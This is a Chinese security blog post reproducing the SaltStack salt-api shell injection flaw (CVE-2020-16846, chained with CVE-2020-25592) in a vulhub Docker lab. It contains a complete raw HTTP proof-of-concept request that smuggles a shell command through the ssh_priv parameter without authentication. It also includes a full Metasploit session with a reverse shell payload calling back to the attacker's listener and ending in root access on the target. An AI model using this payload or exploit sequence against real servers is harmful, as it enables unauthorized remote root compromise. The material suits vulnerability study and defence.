SaltStack Shell 注入 (CVE-2020-16846)漏洞 - FreeBuf网络安全行业门户

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

^{0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
90
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9}

^{0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9}

SaltStack Shell 注入 (CVE-2020-16846)漏洞

thelostworld 2020-12-31 16:42:48 454217

SaltStack Shell 注入 (CVE-2020-16846)漏洞复现

一、漏洞简介

SaltStack是一个分布式运维系统，在互联网场景中被广泛应用，有以下两=个主要功能：

• 配置管理系统，能够将远程节点维护在一个预定义的状态

• 分布式远程执行系统，用于在远程节点上单独或通过任意选择标准来执行命令和查询数据

CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块，CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置，但绝大多数SaltStack用户会选择开启salt-api，故存在较高风险。

二、环境搭建

下载环境：

https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846

或者后台回复：CVE-2020-16846下载环境

环境启动：docker-compose up -d

访问地址：https://192.168.1.107:8000/

三、漏洞复现

POC

POST /run HTTP/1.1Host: 192.168.1.107:8000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0Accept: application/x-yamlAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 91token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b

执行poc

touch文件成功

msf里面有exp

exploit/linux/http/saltstack_salt_api_cmd_exec

use exploit/linux/http/saltstack_salt_api_cmd_execmsf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set rhosts 192.168.1.107rhosts => 192.168.1.107msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set rport 8000rport => 8000msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set LhOST 192.168.1.117LhOST => 192.168.1.117msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > set LPORT 4444LPORT => 4444msf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > show options Module options (exploit/linux/http/saltstack_salt_api_cmd_exec):   Name       Current Setting  Required  Description   ----       ---------------  --------  -----------   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]   RHOSTS     192.168.1.107    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'   RPORT      8000             yes       The target port (TCP)   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.   SRVPORT    8080             yes       The local port to listen on.   SSL        true             no        Negotiate SSL/TLS for outgoing connections   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)   TARGETURI  /                yes       Base path   URIPATH                     no        The URI to use for this exploit (default is random)   VHOST                       no        HTTP server virtual hostPayload options (cmd/unix/reverse_python_ssl):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   LHOST  192.168.1.117    yes       The listen address (an interface may be specified)   LPORT  4444             yes       The listen portExploit target:   Id  Name   --  ----   0   Unix Commandmsf6 exploit(linux/http/saltstack_salt_api_cmd_exec) > exploit [*] Started reverse SSL handler on 192.168.1.117:4444 [*] Executing automatic check (disable AutoCheck to override)[+] The target is vulnerable. Auth bypass successful.[*] Executing Unix Command for cmd/unix/reverse_python_ssl[*] Command shell session 2 opened (192.168.1.117:4444 -> 192.168.1.107:50332) at 2020-12-21 22:34:40 +0800iduid=0(root) gid=0(root) groups=0(root)